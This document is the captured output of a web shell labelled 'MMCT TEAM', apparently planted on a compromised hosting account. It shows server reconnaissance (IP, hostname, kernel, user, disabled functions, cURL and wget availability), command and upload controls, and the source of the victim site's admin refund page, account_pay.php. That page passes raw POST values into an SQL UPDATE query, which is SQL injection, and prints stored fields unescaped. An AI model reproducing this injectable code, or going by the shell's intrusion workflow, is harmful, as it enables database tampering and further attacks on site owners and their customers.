MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 3.22.77.196
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/admin/account_pay.php
<?php
require_once 'header.php';
require_once 'navbar.php';



if($_SERVER["REQUEST_METHOD"] == "POST")
{
     if(isset($_POST['remark']))
    {
		 $remark=$_POST['remark'];
		 $booking_id=$_POST['booking_id'];
		echo $sql="update booking_cancel set remark='$remark',action='updated' where booking_id=$booking_id";
		 if($conn->query($sql)===true)
		 {
			 $success=true;
		 }
		 else
		 {
			 $error=$conn->error;
		 }
	 }
}


     $sql="select payment_log.txn_amount,bookings.*,booking_cancel.*,vendor_profiles.* from bookings,booking_cancel,users,payment_log where users.id=bookings.user_id and bookings.status ='cancelled' and bookings.id=booking_cancel.booking_id and payment_log.booking_id=booking_cancel.booking_id  group by bookings.id desc";
        
$result = $conn->query($sql);

if ($result->num_rows > 0) {
    // output data of each row
    while($row = $result->fetch_assoc()) {
        $table_data[]=$row;
    }
}
//print_r($table_data);


?>

<head>
	<meta charset="utf-8">
	<meta content="width=device-width, initial-scale=1, shrink-to-fit=no" name="viewport">
	<meta content="Fully Responsive Bootstrap 4 Admin Dashboard Template" name="description">
	<meta content="Spruko" name="author">

	<!-- Title -->
	<title> Ats trip admin</title>

	<!-- Favicon -->
	<link href="assets/img/brand/favicon.png" rel="icon" type="image/png">

	<!-- Fonts -->
	<link href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800" rel="stylesheet">

	<!-- Icons -->
	<link href="assets/css/icons.css" rel="stylesheet">

	<!--Bootstrap.min css-->
	<link rel="stylesheet" href="assets/plugins/bootstrap/css/bootstrap.min.css">

	<!-- Adon CSS -->
	<link href="assets/css/dashboard.css" rel="stylesheet" type="text/css">

	<!-- Data table css -->
	<link href="assets/plugins/datatable/dataTables.bootstrap4.min.css" rel="stylesheet" />
	<link href="assets/plugins/datatable/responsivebootstrap4.min.css" rel="stylesheet" />

	<link href="assets/plugins/customscroll/jquery.mCustomScrollbar.css" rel="stylesheet" />

	<!-- Sidemenu Css -->
	<link href="assets/plugins/toggle-sidebar/css/sidemenu.css" rel="stylesheet">

</head>
<!-- Page content -->
						<div class="container-fluid pt-8">
							<div class="page-header mt-0  p-3">
								<h3 class="mb-sm-0">Vendor Account Pay</h3>
								<ol class="breadcrumb mb-0">
									<li class="breadcrumb-item"><a href="#"><i class="fe fe-home"></i></a></li>
									<li class="breadcrumb-item active" aria-current="page"></li>
								</ol>
							</div>
							 <?php
			if(isset($success))
			{
				?>
			  <div class="alert alert-success" id="success">Success! Your Request has been submited.</div>
			<?php
			}
			else if(isset($error))
			{
				?>
			  <div class="alert alert-danger" id="success">Error! <?=$error;?>Your Request could not be submited.</div>
			<?php
			}
			?>
								<div class="card shadow">
										<div class="card-header">
											<h2 class="mb-0">Pending Records</h2>
										</div>
										<div class="card-body">
											<?php
                                            if(isset($table_data))
                                            {
                                                ?>
											<div class="table-responsive">
												<table id="example3" class="table table-striped table-bordered text-nowrap" >
													<thead>
														<tr>
															<th class="wd-15p">S.No</th>
															<th class="wd-15p">Booking Id</th>
															
															
															<th class="wd-20p">Pending Refund</th>
												
															<th class="wd-10p">action</th>
														</tr>
													</thead>
														<tbody>
													<?php
                                                $x=1;
                                                        foreach($table_data as $hh)
                                                        {
                                                           if($hh['action']=='pending')
															{
															?>
														<tr>
															<td><?=$x;?></td>
															<td><?=$hh['booking_id']?></td>
														
														
															<td><?=$hh['refund_amount'];?></td>
															<td>
																<button id="<?=$hh['booking_id'];?>" onclick="confirm_booking(this.id)" value="pass" class="btn btn-icon btn-pill btn-primary" type="button">
																	Add Remark
																</button>
															
                                                    		</td>
														</tr>
													<?php
                                                            $x++;
                                                        }
														}
                                                ?>
													</tbody>
												</table>
											</div>
											<?php
                                            }
                                            else
                                            {
                                                echo "<h2>No Record Found.</h2>";
                                            }
                                            ?>
									</div>
							</div>
							
							
							<div class="card shadow">
										<div class="card-header">
											<h2 class="mb-0">Updated records</h2>
										</div>
										<div class="card-body">
											<?php
                                            if(isset($table_data))
                                            {
                                                ?>
											<div class="table-responsive">
												<table id="example3" class="table table-striped table-bordered text-nowrap" >
													<thead>
														<tr>
															<th class="wd-15p">S.No</th>
															<th class="wd-15p">Booking Id</th>
															
															
															<th class="wd-20p"> Refund</th>
															<th class="wd-20p"> Remark</th>
												
															
														</tr>
													</thead>
														<tbody>
													<?php
                                                $x=1;
                                                        foreach($table_data as $hh)
                                                        {
                                                            if($hh['action']=='updated')
															{
															?>
															
														<tr>
															<td><?=$x;?></td>
															<td><?=$hh['booking_id']?></td>
														
														
															<td><?=$hh['refund_amount'];?></td>
															<td><?=$hh['remark'];?></td>
															
														</tr>
													<?php
                                                            $x++;
                                                        }
														}
                                                ?>
													</tbody>
												</table>
											</div>
											<?php
                                            }
                                            else
                                            {
                                                echo "<h2>No Record Found.</h2>";
                                            }
                                            ?>
									</div>
							</div>
</div>
                        
	<!--Add Modal To Display-->
<div class="modal fade" id="confirm" style="z-index:99999999">
    <div class="modal-dialog">
        <div class="modal-content">
          <div class="card-header">
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
              <span aria-hidden="true">&times;</span>
            </button>
               <div class="alert alert-danger"   id="error" style="display:none">Error! Your Request could not be submited.</div>
               
              <h4 style="text-align: left">Take Your Action</h4><div class="col-md-6 float-right" id="alert"></div>
          </div> 
          <form method="post" id="add_vendor">
          <div class="modal-body">
              <div class="row" id="pass" style="display:none">
				  <form method="post">
                 <div class="col-md-8">
                      <label>Add Remark :</label><input  type="text" class="form-control" name="remark" required>
                      <input  type="hidden" name="booking_id" id="booking_id2" required>
                  </div>
				   <div class="col-md-4">
					   <button type="submit" name="request" id="pass_id" class="btn btn-primary" >Add</button>
				  </div>
				  </form>
			  </div>
			  
            </div>
          <div class="modal-footer">
			  <br>
            <button type="button" class="btn btn-default pull-left" data-dismiss="modal">Close</button>
            
          </div>
            </form>
        </div>
    <!-- /.modal-content -->
    </div>
<!-- /.modal-dialog -->
</div>						
<?php 
require_once 'footer.php';
//require_once 'jslinks.php';
?>							

	<!-- Adon Scripts -->
	<!-- Core -->
	<script src="assets/plugins/jquery/dist/jquery.min.js"></script>
	<script src="assets/js/popper.js"></script>
	<script src="assets/plugins/bootstrap/js/bootstrap.min.js"></script>

	<!-- Optional JS -->
	<script src="assets/plugins/chart.js/dist/Chart.min.js"></script>
	<script src="assets/plugins/chart.js/dist/Chart.extension.js"></script>

	<!-- Data tables -->
	<script src="assets/plugins/datatable/jquery.dataTables.min.js"></script>
	<script src="assets/plugins/datatable/dataTables.bootstrap4.min.js"></script>
	<script src="assets/plugins/datatable/dataTables.responsive.min.js"></script>
	<script src="assets/plugins/datatable/responsive.bootstrap4.min.js"></script>

	<!-- Fullside-menu Js-->
	<script src="assets/plugins/toggle-sidebar/js/sidemenu.js"></script>

	<!-- Custom scroll bar Js-->
	<script src="assets/plugins/customscroll/jquery.mCustomScrollbar.concat.min.js"></script>

	<!-- Adon JS -->
	<script src="assets/js/custom.js"></script>
	<script src="assets/js/datatable.js"></script>

<script>

	function confirm_booking(ee)
	{
		
				$('#pass').show();
				$('#custom').hide();
				$('#confirm').modal('show');
				document.getElementById('booking_id2').value=ee;
				
		
	}
</script>

MMCT - 2023